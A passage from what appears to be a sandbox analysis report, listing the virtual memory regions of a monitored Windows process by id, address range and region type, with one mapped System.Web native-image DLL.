"private_0x0000000002210000" filename = "" Region: id = 5042 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5043 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5044 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5045 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5046 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5047 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5048 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5049 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5050 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5051 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5052 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5053 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5054 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5055 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5056 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5057 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5058 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5059 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5060 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5061 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5062 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5063 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5064 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5065 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5066 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5067 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5068 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5069 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5070 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5071 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5072 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5073 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5074 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5075 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5076 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5077 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5078 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5079 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5080 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5081 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5082 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5083 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5084 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5085 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5086 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5087 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5088 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5089 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5090 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5091 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5092 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5093 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5094 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5095 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5096 start_va = 0x2200000 end_va = 0x2205fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002200000" filename = "" Region: id = 5097 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5098 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5099 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5100 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5101 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5102 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5103 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5104 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5105 start_va = 0x2210000 end_va = 0x2211fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002210000" filename = "" Region: id = 5106 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5107 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5108 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5109 start_va = 0x2230000 end_va = 0x223bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002230000" filename = "" Region: id = 5110 start_va = 0x7ff9ff3e0000 end_va = 0x7ff9ff3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3e0000" filename = "" Region: id = 5111 start_va = 0x7ff9ff3f0000 end_va = 0x7ff9ff3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3f0000" filename = "" Region: id = 5112 start_va = 0x1b4c0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 5113 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5114 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5115 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5116 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5117 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5118 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5119 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5120 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5121 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5122 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5123 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5124 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5125 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5126 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5127 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5128 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5129 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5130 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5131 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5132 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5133 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5134 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5135 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5136 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5137 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5138 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 5139 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5140 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5141 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5142 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5143 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5144 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5145 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5146 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5147 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5148 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5149 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5150 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5151 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5152 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5153 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5154 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5155 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5156 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5157 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5158 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5159 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5160 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5161 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5162 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5163 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5164 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5165 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5166 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5167 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5168 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5169 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5170 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5171 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5172 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5173 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5174 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5175 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5176 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5177 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5178 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5179 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5180 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5181 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5182 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5183 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5184 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5185 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5186 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5187 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5188 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5189 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5190 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5191 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5192 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5193 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5213 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5214 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5215 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5216 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5217 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5218 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5219 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5220 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5221 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5222 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5223 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5224 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5225 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5226 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5227 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5228 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5229 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5230 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5231 start_va = 0x2240000 end_va = 0x2250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002240000" filename = "" Region: id = 5232 start_va = 0x7ffa593b0000 end_va = 0x7ffa5a369fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.web.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\e0f1aa5ae849a43ee123d95e457efc03\\System.Web.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\e0f1aa5ae849a43ee123d95e457efc03\\system.web.ni.dll") Region: id = 5233 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5234 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5235 start_va = 0x2260000 end_va = 0x2265fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002260000" filename = "" Region: id = 5236 start_va = 0x7ff9ff400000 end_va = 0x7ff9ff40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff400000" filename = "" Region: id = 5237 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5238 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5239 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5240 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5241 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5242 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5243 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5244 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5245 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5246 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5247 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5248 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5249 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5250 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5251 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5252 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5253 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5254 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5255 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5256 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5257 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5258 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5259 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5260 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5261 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5262 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5263 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5264 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = 